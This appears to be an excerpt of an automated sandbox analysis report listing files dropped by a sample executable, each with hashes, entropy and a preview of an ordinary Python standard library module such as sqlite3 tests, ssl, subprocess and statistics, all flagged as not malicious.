C:\recover\pw\Lib\sqlite3\test\hooks.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	11217
Entropy (8bit):	4.438152767552218
Encrypted:	false
SSDEEP:	192:kfVKcdEJsBs+wHFSE4vH8ndq8nkD8nGZ8Qmgna5:GHetB
MD5:	8326D0B9A8A0752CB58DEFD0E0996FC3
SHA1:	AEA926412A3A5E74BB48F3E9FB054796979C8D31
SHA-256:	CC5209FC0BA75D0EF84372E3E27C1CF961B2A1F10146DA4C6C8DF62D9A24ADB6
SHA-512:	3EE676F7C54902D1A87106CF26E3F30B506183FA8F972B3CB68147DB0D8F4CBF13F742BF88BDA0E9965A13623D38912906499BFB0DA7EAA4B04042F96E979965
Malicious:	false
Preview:	# pysqlite2/test/hooks.py: tests for various SQLite-specific hooks..#..# Copyright (C) 2006-2007 Gerhard H.ring <gh@ghaering.de>..#..# This file is part of pysqlite...#..# This software is provided 'as-is', without any express or implied..# warranty. In no event will the authors be held liable for any damages..# arising from the use of this software...#..# Permission is granted to anyone to use this software for any purpose,..# including commercial applications, and to alter it and redistribute it..# freely, subject to the following restrictions:..#..# 1. The origin of this software must not be misrepresented; you must not..# claim that you wrote the original software. If you use this software..# in a product, an acknowledgment in the product documentation would be..# appreciated but is not required...# 2. Altered source versions must be plainly marked as such, and must not be..# misrepresented as being the original software...# 3. This notice may not be removed or altere

C:\recover\pw\Lib\sqlite3\test\regression.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	17793
Entropy (8bit):	4.591250100488077
Encrypted:	false
SSDEEP:	192:+fT+FjQ5zjLVX6oxvLv7WGKDTgPKxOQaI8i8CgqOqopna5:m+y5zPFlj7ogPKQ87ZOqf
MD5:	55B56B3113C910107F2FCF934BB8DA40
SHA1:	751A7AC013ADB81690259713933D830A763B1A25
SHA-256:	D0A5C63EF19C729C3F272DE70584A3ADCF7F93B2AC41E084D357BEEFFFFC99D5
SHA-512:	76437E7DBB1475963EC9892E963462CF534A5ADEC7BE18D37F0AAB67FA86754103CF75A2E7AB19B1B13CF466FF924E4EB4E50DE49E829D2E1D5EC3D981F9122C
Malicious:	false
Preview:	# pysqlite2/test/regression.py: pysqlite regression tests..#..# Copyright (C) 2006-2010 Gerhard H.ring <gh@ghaering.de>..#..# This file is part of pysqlite...#..# This software is provided 'as-is', without any express or implied..# warranty. In no event will the authors be held liable for any damages..# arising from the use of this software...#..# Permission is granted to anyone to use this software for any purpose,..# including commercial applications, and to alter it and redistribute it..# freely, subject to the following restrictions:..#..# 1. The origin of this software must not be misrepresented; you must not..# claim that you wrote the original software. If you use this software..# in a product, an acknowledgment in the product documentation would be..# appreciated but is not required...# 2. Altered source versions must be plainly marked as such, and must not be..# misrepresented as being the original software...# 3. This notice may not be removed or altered from an

C:\recover\pw\Lib\sqlite3\test\transactions.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	7690
Entropy (8bit):	4.581086760965344
Encrypted:	false
SSDEEP:	96:AOeH4dyrNrUDy7KRjXDLHJSHuwMNaEyEfnwr2nzm5:AfjtUDy7K5XfpAMNCSna5
MD5:	ADD004A53BBE4E30587DD0ACC3EEEEED
SHA1:	1D7C55785C424A5E7C8A1FF4FB67C947DA2207A1
SHA-256:	3D27164EEDC497BD57C83FB437418B52C5900F44A7BACB6C7A4676F784B837B3
SHA-512:	5E0CFC446B9B6EE34EA0A13E1A9D4D095E12CE72A199208A3818EA6725F0AA381DE6E0F2569B21D57FD74D61E5FF59334E39C2335FB58C2E6A3E54FEAC60D47F
Malicious:	false
Preview:	# pysqlite2/test/transactions.py: tests transactions..#..# Copyright (C) 2005-2007 Gerhard H.ring <gh@ghaering.de>..#..# This file is part of pysqlite...#..# This software is provided 'as-is', without any express or implied..# warranty. In no event will the authors be held liable for any damages..# arising from the use of this software...#..# Permission is granted to anyone to use this software for any purpose,..# including commercial applications, and to alter it and redistribute it..# freely, subject to the following restrictions:..#..# 1. The origin of this software must not be misrepresented; you must not..# claim that you wrote the original software. If you use this software..# in a product, an acknowledgment in the product documentation would be..# appreciated but is not required...# 2. Altered source versions must be plainly marked as such, and must not be..# misrepresented as being the original software...# 3. This notice may not be removed or altered from any sou

C:\recover\pw\Lib\sqlite3\test\types.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	17190
Entropy (8bit):	4.616954370576151
Encrypted:	false
SSDEEP:	192:0fVotMrW5upva7Dxk3EUTpWPlbd4iEWfe5KgvJN5NELFNaLDc9wOna5:wCM4kTWPlbdWWfeckJNILFNax
MD5:	61C68E5E631D3AC0C379E6FE4B2953A9
SHA1:	6E56366DEF72BDAC281B0A3073D18BB2842B5E02
SHA-256:	421C9646BF5011A5B668BFB15D61E018A939322AC00646E188C708CDC1CF26A2
SHA-512:	28F88419FB547E479323709C9A91473EAE0E7D2A78B230F1D26930F5C517CD15D7331425F7039460DA6F0DB760780CD8DA1F6F580A5600983A2052B26F646D0D
Malicious:	false
Preview:	# pysqlite2/test/types.py: tests for type conversion and detection..#..# Copyright (C) 2005 Gerhard H.ring <gh@ghaering.de>..#..# This file is part of pysqlite...#..# This software is provided 'as-is', without any express or implied..# warranty. In no event will the authors be held liable for any damages..# arising from the use of this software...#..# Permission is granted to anyone to use this software for any purpose,..# including commercial applications, and to alter it and redistribute it..# freely, subject to the following restrictions:..#..# 1. The origin of this software must not be misrepresented; you must not..# claim that you wrote the original software. If you use this software..# in a product, an acknowledgment in the product documentation would be..# appreciated but is not required...# 2. Altered source versions must be plainly marked as such, and must not be..# misrepresented as being the original software...# 3. This notice may not be removed or altered fro

C:\recover\pw\Lib\sqlite3\test\userfunctions.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	20148
Entropy (8bit):	4.662994577920809
Encrypted:	false
SSDEEP:	192:UfJPM2ScTrvxX5wr4+W8Kc2bdgvK9r1rpKW394KDF1P2gna5:I6gY2bdgQr1rHWX
MD5:	93807FB7CBDEE9AAC361028C6A4268FD
SHA1:	DC414C7963CE880D8A67A986474CE1A544A852AB
SHA-256:	DA83E28CAC7914D45708DDE1113CF1CE91E06B8E1107B554CAF92D0D7039C73D
SHA-512:	DD83B4E7A58D7D988E1FEB3A908EAC56A213CD2322B5F6954A7A1427E892177FC100A1E302AD2646C8D70B6B4E739536E155FF9270B6E6FEFAB15B5ECFF24ED5
Malicious:	false
Preview:	# pysqlite2/test/userfunctions.py: tests for user-defined functions and..# aggregates...#..# Copyright (C) 2005-2007 Gerhard H.ring <gh@ghaering.de>..#..# This file is part of pysqlite...#..# This software is provided 'as-is', without any express or implied..# warranty. In no event will the authors be held liable for any damages..# arising from the use of this software...#..# Permission is granted to anyone to use this software for any purpose,..# including commercial applications, and to alter it and redistribute it..# freely, subject to the following restrictions:..#..# 1. The origin of this software must not be misrepresented; you must not..# claim that you wrote the original software. If you use this software..# in a product, an acknowledgment in the product documentation would be..# appreciated but is not required...# 2. Altered source versions must be plainly marked as such, and must not be..# misrepresented as being the original sof

C:\recover\pw\Lib\sre_compile.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	28781
Entropy (8bit):	4.519014462745639
Encrypted:	false
SSDEEP:	384:5FBn9P6OfkjvX3hh1SNBFwuO6uw0ZxF6H/5nxANHuqn7IVBRg:5FBn9P622aBC6b0ZxFu/5nyNHui0VBRg
MD5:	F09EB9E5E797B7B1B4907818FEF9B165
SHA1:	8F9E2BC760C7A2245CAE4628CAECDF1ADA35F46D
SHA-256:	CDB9BDCAB7A6FA98F45EF47D3745AC86725A89C5BAF80771F0451D90058A21D6
SHA-512:	E71FB7B290BB46AEE4237DBF7FF4ADC2F4491B1FC1C48BD414F5CE376D818564FD37B6113997A630393D9342179FCB7CE0462D6AAD5115E944F8C0CCAB1FA503
Malicious:	false
Preview:	#..# Secret Labs' Regular Expression Engine..#..# convert template to internal format..#..# Copyright (c) 1997-2001 by Secret Labs AB. All rights reserved...#..# See the sre.py file for information on usage and redistribution...#...."""Internal support module for sre"""....import _sre..import sre_parse..from sre_constants import *....assert _sre.MAGIC == MAGIC, "SRE module mismatch"...._LITERAL_CODES = {LITERAL, NOT_LITERAL}.._REPEATING_CODES = {REPEAT, MIN_REPEAT, MAX_REPEAT}.._SUCCESS_CODES = {SUCCESS, FAILURE}.._ASSERT_CODES = {ASSERT, ASSERT_NOT}.._UNIT_CODES = _LITERAL_CODES \| {ANY, IN}....# Sets of lowercase characters which have the same uppercase..._equivalences = (.. # LATIN SMALL LETTER I, LATIN SMALL LETTER DOTLESS I.. (0x69, 0x131), # i... # LATIN SMALL LETTER S, LATIN SMALL LETTER LONG S.. (0x73, 0x17f), # s... # MICRO SIGN, GREEK SMALL LETTER MU.. (0xb5, 0x3bc), # .... # COMBINING GREEK YPOGEGRAMMENI, GREEK SMALL LETTER IOTA, GREEK PROSGEGRAMMENI

C:\recover\pw\Lib\sre_constants.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	7438
Entropy (8bit):	5.182844332397723
Encrypted:	false
SSDEEP:	192:5eMD6PqhJ1J1eWWdQbaAtYetYetYAPRtihfylCcfPAEvuzgQ:5eC7eKacRtilCAEK
MD5:	BCA79743254AA4BC94DACE167A8B0871
SHA1:	D1DA34FBE097F054C773FF8040D2E3852C3D77F1
SHA-256:	513373CDE5987D794DC429F7C71A550FE49E274BF82D0856BEC40DCA4079DADC
SHA-512:	1C0AB3CE7B24ACD2FFBD39A9D4BF343AA670525465B265A6572BDEC2036B1A72AAAFE07AFE63A21246456427F10BE519AEEE9FC707CBB0151AC1E180239AD2AF
Malicious:	false
Preview:	#..# Secret Labs' Regular Expression Engine..#..# various symbols used by the regular expression engine...# run this script to update the _sre include files!..#..# Copyright (c) 1998-2001 by Secret Labs AB. All rights reserved...#..# See the sre.py file for information on usage and redistribution...#...."""Internal support module for sre"""....# update when constants are added or removed....MAGIC = 20171005....from _sre import MAXREPEAT, MAXGROUPS....# SRE standard exception (access as sre.error)..# should this really be here?....class error(Exception):.. """Exception raised for invalid regular expressions..... Attributes:.... msg: The unformatted error message.. pattern: The regular expression pattern.. pos: The index in the pattern where compilation failed (may be None).. lineno: The line corresponding to pos (may be None).. colno: The column corresponding to pos (may be None).. """.... __module__ = 're'.... def __init__(self, msg, p

C:\recover\pw\Lib\sre_parse.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	41855
Entropy (8bit):	4.104634138762242
Encrypted:	false
SSDEEP:	768:21S5/1DRy/C5oZn9F3fckfWoCf2PXACJzXdQ1f3hBX5FEnRxzAgHNM3n7S4:21S5/1DQ/C5oZL3UkfWoCf2eE4
MD5:	D1AF43B8E4F286625A0144373CF0DE28
SHA1:	7FBD019519C5223D67311E51150595022D95FE86
SHA-256:	C029A310E36013ABC15610FF09A1E31D9FB1A0E4C60293150722C08FC9E7B090
SHA-512:	75AB3B5A2AAD2AC44AB63028982A94BB718AAF6C67F6B59A8EDC8C2C49287DD16667923E1889C68404053D61DF742864A6E85545BBFB17624A5844BB049767F9
Malicious:	false
Preview:	#..# Secret Labs' Regular Expression Engine..#..# convert re-style regular expression to sre pattern..#..# Copyright (c) 1998-2001 by Secret Labs AB. All rights reserved...#..# See the sre.py file for information on usage and redistribution...#...."""Internal support module for sre"""....# XXX: show string offset and offending character for all errors....from sre_constants import ....SPECIAL_CHARS = ".\\[{()+?^$\|"..REPEAT_CHARS = "*+?{"....DIGITS = frozenset("0123456789")....OCTDIGITS = frozenset("01234567")..HEXDIGITS = frozenset("0123456789abcdefABCDEF")..ASCIILETTERS = frozenset("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ")....WHITESPACE = frozenset(" \t\n\r\v\f")...._REPEATCODES = frozenset({MIN_REPEAT, MAX_REPEAT}).._UNITCODES = frozenset({ANY, RANGE, IN, LITERAL, NOT_LITERAL, CATEGORY})....ESCAPES = {.. r"\a": (LITERAL, ord("\a")),.. r"\b": (LITERAL, ord("\b")),.. r"\f": (LITERAL, ord("\f")),.. r"\n": (LITERAL, ord("\n")),.. r"\r": (LITERAL, ord("\r"))

C:\recover\pw\Lib\ssl.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	53651
Entropy (8bit):	4.77575452147837
Encrypted:	false
SSDEEP:	768:tMVe9UvCPKK444abg7+0MkQMj1MnCXA+Y629sc7F4l0:WVuHPKKYabOM2MnCw+YFJ7F4a
MD5:	571E6D3BD2027FAD1078DEE641CC5943
SHA1:	599F7505020E6F09E39067C5DD7D4A90D4FCD446
SHA-256:	A2558EFEF465228296EE4507D49605BE195FEB557CD30BAC2ED551B59E701EA7
SHA-512:	D27F64F43E8414648A984CC5BB6E59FAC93C8E1F3E3BF06CA3B8418FAC1BA44479B1509262AA712C180D590027EC318FEE8E05D5F503F30DE8BA0A0841DC8942
Malicious:	false
Preview:	# Wrapper module for _ssl, providing some additional facilities..# implemented in Python. Written by Bill Janssen....."""This module provides some more Pythonic support for SSL.....Object types:.... SSLSocket -- subtype of socket.socket which does SSL over the socket....Exceptions:.... SSLError -- exception raised for I/O errors....Functions:.... cert_time_to_seconds -- convert time string used for certificate.. notBefore and notAfter functions to integer.. seconds past the Epoch (the time values.. returned from time.time()).... get_server_certificate (addr, ssl_version, ca_certs, timeout) -- Retrieve the.. certificate from the server at the specified.. address and return it as a PEM-encoded string......Integer constants:....SSL_ERROR_ZERO_RETURN..SSL_ERROR_WANT_READ..SSL_ERROR_WANT_WRITE..SSL_ERROR_WANT_X509_LOOKUP..SSL_ERROR_SYSCALL..SSL_ERROR_SSL..SSL_ERR

C:\recover\pw\Lib\stat.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	5680
Entropy (8bit):	5.1523236470837945
Encrypted:	false
SSDEEP:	96:btQUzIkdY5TVIU5zY553qt50eS52AY5LAx5UztU5ws45lz45R7J8nkwg3GCgt8Tn:ZB7dkV3YHqoeFAQAczDsQzmt8oW8TDHj
MD5:	7A7143CBE739708CE5868F02CD7DE262
SHA1:	E915795B49B849E748CDBD8667C9C89FCDFF7BAF
SHA-256:	E514FD41E2933DD1F06BE315FB42A62E67B33D04571435A4815A18F490E0F6CE
SHA-512:	7ECF6AC740B734D26D256FDE2608375143C65608934AA51DF7AF34A1EE22603A790ADC5B3D67D6944BA40F6F41064FA4D6957E000DE441D99203755820E34D53
Malicious:	false
Preview:	"""Constants/functions for interpreting results of os.stat() and os.lstat().....Suggested usage: from stat import *.."""....# Indices for stat struct members in the tuple returned by os.stat()....ST_MODE = 0..ST_INO = 1..ST_DEV = 2..ST_NLINK = 3..ST_UID = 4..ST_GID = 5..ST_SIZE = 6..ST_ATIME = 7..ST_MTIME = 8..ST_CTIME = 9....# Extract bits from the mode....def S_IMODE(mode):.. """Return the portion of the file's mode that can be set by.. os.chmod()... """.. return mode & 0o7777....def S_IFMT(mode):.. """Return the portion of the file's mode that describes the.. file type... """.. return mode & 0o170000....# Constants used as S_IFMT() for various file types..# (not all are implemented on all systems)....S_IFDIR = 0o040000 # directory..S_IFCHR = 0o020000 # character device..S_IFBLK = 0o060000 # block device..S_IFREG = 0o100000 # regular file..S_IFIFO = 0o010000 # fifo (named pipe)..S_IFLNK = 0o120000 # symbolic link..S_IFSOCK = 0o140000 # s

C:\recover\pw\Lib\statistics.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	44478
Entropy (8bit):	4.826888827291007
Encrypted:	false
SSDEEP:	768:ezttzGzMBgrEiMuqIkrWIq/0MIR9z5zjw1mTH0+8H0xAEVPCy:extqAYFHl/fu9lgmTU1HeAU
MD5:	4969BE7A4BD3A7D14413A54CCFC36806
SHA1:	696C43BD013708A58C401CC25BE4F2565C910E97
SHA-256:	AAF6547A24B49197A95977E128EE4EC8F8E8F03498059FB4AE826A036C9B0C7A
SHA-512:	1E5ED30CC795A331F25390D03019374D9BC9650F1F8339507260771E204884651F2982597EC88CC2F0A1F33AF649AE44B6720E4953FA0D2F33E288883F5376BF
Malicious:	false
Preview:	"""..Basic statistics module.....This module provides functions for calculating statistics of data, including..averages, variance, and standard deviation.....Calculating averages..--------------------....================== ==================================================..Function Description..================== ==================================================..mean Arithmetic mean (average) of data...fmean Fast, floating point arithmetic mean...geometric_mean Geometric mean of data...harmonic_mean Harmonic mean of data...median Median (middle value) of data...median_low Low median of data...median_high High median of data...median_grouped Median, or 50th percentile, of grouped data...mode Mode (most common value) of data...multimode List of modes (most common values of data)...quantiles Divide data into intervals with equal probability...================== ==

C:\recover\pw\Lib\string.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	10846
Entropy (8bit):	4.509064552074567
Encrypted:	false
SSDEEP:	192:NeRTSYTE9F7CE3WCLi9S/j/8RNnGPu+2MZKqhMohlPbokGJ2A7u6VOC:NeRTSYTE9oNCLeS/j/8TG2+2MZKqhMoC
MD5:	CB7C76D92FE77FCEB57279A18AFDB96E
SHA1:	BC102311785E8912AFDE553CAD6C54A92EA68051
SHA-256:	34B846AE1458673B9A9026E6300FF0947DD1B3DC374BDD1D126518D8D1A528B2
SHA-512:	7785AFAEA59CC3F86F590923C1416832C8AADCCB67A589074B8811BA1260257ABF3E8D5BF386F9296E4C31D8E69C2886D411D313EB2E4BCDCDE794C83A4C3480
Malicious:	false
Preview:	"""A collection of string constants.....Public module variables:....whitespace -- a string containing all ASCII whitespace..ascii_lowercase -- a string containing all ASCII lowercase letters..ascii_uppercase -- a string containing all ASCII uppercase letters..ascii_letters -- a string containing all ASCII letters..digits -- a string containing all ASCII decimal digits..hexdigits -- a string containing all ASCII hexadecimal digits..octdigits -- a string containing all ASCII octal digits..punctuation -- a string containing all ASCII punctuation characters..printable -- a string containing all ASCII characters considered printable...."""....__all__ = ["ascii_letters", "ascii_lowercase", "ascii_uppercase", "capwords",.. "digits", "hexdigits", "octdigits", "printable", "punctuation",.. "whitespace", "Formatter", "Template"]....import _string....# Some strings for ctype-style character classification..whitespace = ' \t\n\r\v\f'..ascii_lowercase = 'abcdefghijklmnopqrstuvwx

C:\recover\pw\Lib\stringprep.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13189
Entropy (8bit):	4.91396520579551
Encrypted:	false
SSDEEP:	384:uqbH8M915eiV4fTpjgLPXEj7w6NraVKt+oKVcXRn:uwnMaLPIN+VKtWKn
MD5:	7A4A0BE66939C3F2E62531A37F6B60E1
SHA1:	A4E0BE0F314B738F9ACE2698BF5B7910A9B4A1A5
SHA-256:	FE08A5C09B78E5037F7CCB95B9014C5F4CC2B3968C9001F321D4788E0ADB45EB
SHA-512:	DF83633E7F827D909426B58AADD9AD5664BAB4787119F005C25A7659E28BC8D2834CAD7B3CF0BE011D3AD6F30129FF724D5C40601ED50B9F4C94B2635875B226
Malicious:	false
Preview:	# This file is generated by mkstringprep.py. DO NOT EDIT..."""Library that exposes various tables found in the StringPrep RFC 3454.....There are two kinds of tables: sets, for which a member test is provided,..and mappings, for which a mapping function is provided..."""....from unicodedata import ucd_3_2_0 as unicodedata....assert unicodedata.unidata_version == '3.2.0'....def in_table_a1(code):.. if unicodedata.category(code) != 'Cn': return False.. c = ord(code).. if 0xFDD0 <= c < 0xFDF0: return False.. return (c & 0xFFFF) not in (0xFFFE, 0xFFFF)......b1_set = set([173, 847, 6150, 6155, 6156, 6157, 8203, 8204, 8205, 8288, 65279] + list(range(65024,65040)))..def in_table_b1(code):.. return ord(code) in b1_set......b3_exceptions = {..0xb5:'\u03bc', 0xdf:'ss', 0x130:'i\u0307', 0x149:'\u02bcn',..0x17f:'s', 0x1f0:'j\u030c', 0x345:'\u03b9', 0x37a:' \u03b9',..0x390:'\u03b9\u0308\u0301', 0x3b0:'\u03c5\u0308\u0301', 0x3c2:'\u03c3', 0x3d0:'\u03b2',..0x3d1:'\u03b8', 0x3d2:'\u03c5'

C:\recover\pw\Lib\struct.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	272
Entropy (8bit):	4.3743352648582725
Encrypted:	false
SSDEEP:	6:UoPb5ThvOC3hvOuFimWA7la//1SITIFIjrWVZFIpdOv:UoDhECUno7YlSIEFIfWV7IpdA
MD5:	5B6FAB07BA094054E76C7926315C12DB
SHA1:	74C5B714160559E571A11EA74FEB520B38231BC9
SHA-256:	EADBCC540C3B6496E52449E712ECA3694E31E1D935AF0F1E26CFF0E3CC370945
SHA-512:	2846E8C449479B1C64D39117019609E5A6EA8030220CAC7B5EC6B4090C9AA7156ED5FCD5E54D7175A461CD0D58BA1655757049B0BCE404800BA70A2F1E12F78C
Malicious:	false
Preview:	__all__ = [.. # Functions.. 'calcsize', 'pack', 'pack_into', 'unpack', 'unpack_from',.. 'iter_unpack',.... # Classes.. 'Struct',.... # Exceptions.. 'error'.. ]....from _struct import *..from _struct import _clearcache..from _struct import __doc__..

C:\recover\pw\Lib\subprocess.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	87039
Entropy (8bit):	4.253206816074236
Encrypted:	false
SSDEEP:	1536:wx7t9c+p5IVwdFML1ikqz9lXochlqYI5a3pfZ5KL6Wv090Gj5h7qoHn7DZ0Mv2c4:wx7t++p5IVwdaL10mOw
MD5:	AF21269C65819E2BECB701BD9AD0A113
SHA1:	8176B2711C75E33782AB317BEECA21432D12C21A
SHA-256:	863B6A9C34C5E7E0FF98693A86868B99C1D06156D3113393DB0620602166413D
SHA-512:	70C108146CF6BC6233C3B05637B112EE158CC51E5156A6377682A5FAFAC836BEE74E09EC7EBC907CD0D6FEB1AA17B1D44BCFC427E8CD6387A488C4C4DBA5D8BC
Malicious:	false
Preview:	# subprocess - Subprocesses with accessible I/O streams..#..# For more information about this module, see PEP 324...#..# Copyright (c) 2003-2005 by Peter Astrand <astrand@lysator.liu.se>..#..# Licensed to PSF under a Contributor Agreement.....r"""Subprocesses with accessible I/O streams....This module allows you to spawn processes, connect to their..input/output/error pipes, and obtain their return codes.....For a complete description of this module see the Python documentation.....Main API..========..run(...): Runs a command, waits for it to complete, then returns a.. CompletedProcess instance...Popen(...): A class for flexibly executing a command in a new process....Constants..---------..DEVNULL: Special value that indicates that os.devnull should be used..PIPE: Special value that indicates a pipe should be created..STDOUT: Special value that indicates that stderr should go to stdout......Older API..=========..call(...): Runs a command, waits for it to complete, then ret

C:\recover\pw\Lib\sunau.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	18684
Entropy (8bit):	4.553056496643947
Encrypted:	false
SSDEEP:	192:xoVIiMydyelw/k/TyMRDdzlDGgGoBVb/yY/BFex0lAvl/yCyg+YdM0ccWeUPG:xojMUyey/UQloreY/exMAvoXWWK
MD5:	9494A603999DDED928C7CE75204B4550
SHA1:	67D6248D2265153FDF3AB20999D7955D7585DE2C
SHA-256:	2471854C4EEE8C0FDC7E0AB7B2583CE9CBF0A22804EF3B4369DE1DD6623F4228
SHA-512:	36279D7C7E0B85092333A3BB7C2843E4C593ED265536C5C87B9A777C1A34B6795B54B1657EB26541344A2BB736C78C1209B974D13959DC9C2311F00F7365940F
Malicious:	false
Preview:	"""Stuff to parse Sun and NeXT audio files.....An audio file consists of a header followed by the data. The structure..of the header is as follows..... +---------------+.. \| magic word \|.. +---------------+.. \| header size \|.. +---------------+.. \| data size \|.. +---------------+.. \| encoding \|.. +---------------+.. \| sample rate \|.. +---------------+.. \| # of channels \|.. +---------------+.. \| info \|.. \| \|.. +---------------+....The magic word consists of the 4 characters '.snd'. Apart from the..info field, all header fields are 4 bytes in size. They are all..32-bit unsigned integers encoded in big-endian byte order.....The header size really gives the start of the data...The data size is the physical size of the data. From the other..parameters the number of frames can be calculated...The encoding gives the way in which audio sampl

C:\recover\pw\Lib\symtable.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	10539
Entropy (8bit):	4.558490188936937
Encrypted:	false
SSDEEP:	192:t+Ra9lq8SLJMqIQ6Eddu1Hgjo+SAKgepQ80:G78SLJ3IQ6E3cgKgepw
MD5:	5E670049729E2B3C00DB6146DF365B42
SHA1:	5F3C42EF566DFC4B298D1C6DE9BDA00D3A1C6CF9
SHA-256:	771739EE612604D938FAF47967BCA20353E04A34537C7F70263336CEC035EC89
SHA-512:	BFDE47732F4A7D3DF94D3F68C7B77EBF2E26DC41E8537969EE2F22F5FB09CB405BF5364E9C292CF43C54CF420723F62DA9A38FA4EDC2CEC5935FCE0AF91E4EFD
Malicious:	false
Preview:	"""Interface to the compiler's internal symbol tables"""....import _symtable..from _symtable import (USE, DEF_GLOBAL, DEF_NONLOCAL, DEF_LOCAL, DEF_PARAM,.. DEF_IMPORT, DEF_BOUND, DEF_ANNOT, SCOPE_OFF, SCOPE_MASK, FREE,.. LOCAL, GLOBAL_IMPLICIT, GLOBAL_EXPLICIT, CELL)....import weakref....__all__ = ["symtable", "SymbolTable", "Class", "Function", "Symbol"]....def symtable(code, filename, compile_type):.. """ Return the toplevel SymbolTable for the source code..... filename is the name of the file with the code.. and compile_type is the compile() mode argument... """.. top = _symtable.symtable(code, filename, compile_type).. return _newSymbolTable(top, filename)....class SymbolTableFactory:.. def __init__(self):.. self.__memo = weakref.WeakValueDictionary().... def new(self, table, filename):.. if table.type == _symtable.TYPE_FUNCTION:.. return Function(table, filename).. if table.type == _symtable.TYPE_CLASS:..

C:\recover\pw\Lib\sysconfig.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	28412
Entropy (8bit):	4.809738101386029
Encrypted:	false
SSDEEP:	768:3Ez1dTpS7mmxofRw2GTUPbA+vRaPc35PdmOq61uc7g:3EzTmxofSevrPdTR7g
MD5:	3C7466218544AA3B78754297FBE0A362
SHA1:	879CFAAB401C08552198FAADF5E93A6D907CDAC3
SHA-256:	BF6878D23532A73D8CCE030C9FFD27CE5606A7AB37F6CE0868D45078303A3D88
SHA-512:	1C5AA6E5EA8B3C88EC3A96DD1025EECAB58A073A6170E36885D96127148694B8E49AE29282A0ADB96E9AED5D65C450917202E19E714325E28A3C1E89BF8FF74F
Malicious:	false
Preview:	"""Access to Python's configuration information."""....import os..import sys..from os.path import pardir, realpath....__all__ = [.. 'get_config_h_filename',.. 'get_config_var',.. 'get_config_vars',.. 'get_makefile_filename',.. 'get_path',.. 'get_path_names',.. 'get_paths',.. 'get_platform',.. 'get_python_version',.. 'get_scheme_names',.. 'parse_config_h',..]....# Keys for get_config_var() that are never converted to Python integers..._ALWAYS_STR = {.. 'MACOSX_DEPLOYMENT_TARGET',..}...._INSTALL_SCHEMES = {.. 'posix_prefix': {.. 'stdlib': '{installed_base}/{platlibdir}/python{py_version_short}',.. 'platstdlib': '{platbase}/{platlibdir}/python{py_version_short}',.. 'purelib': '{base}/lib/python{py_version_short}/site-packages',.. 'platlib': '{platbase}/{platlibdir}/python{py_version_short}/site-packages',.. 'include':.. '{installed_base}/include/python{py_version_short}{abiflags}',.. 'platinclude':

C:\recover\pw\Lib\tabnanny.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	11630
Entropy (8bit):	4.476146454696836
Encrypted:	false
SSDEEP:	192:2Ptt0X5MiaVbSI5LmOLNzFhFI9NSHvc4n4+FAhBhNSkpyPqP1P+FMC6nMqx0:1X5M9lNBLNzFhFIjSHvc4n4+FAhFJ0Pn
MD5:	D4EDAFFB57B5F7E6951E736CF97593C5
SHA1:	41FFCFBF3E0EFBCC5B9F8F1036750EFE5935E532
SHA-256:	2BC9219A65A25D5A5A9C602E34EB30E57AA92C0E1E5F88810B385B5671287563
SHA-512:	21C2770812D98D0E6E0E28F867BBC304409AA7B56D4EA3F7B6B6795011AD38E9D31B685B6C148D0DC9D986E052E34F3D2E02D9A4E55AB27E728C3B6725D2CDC3
Malicious:	false
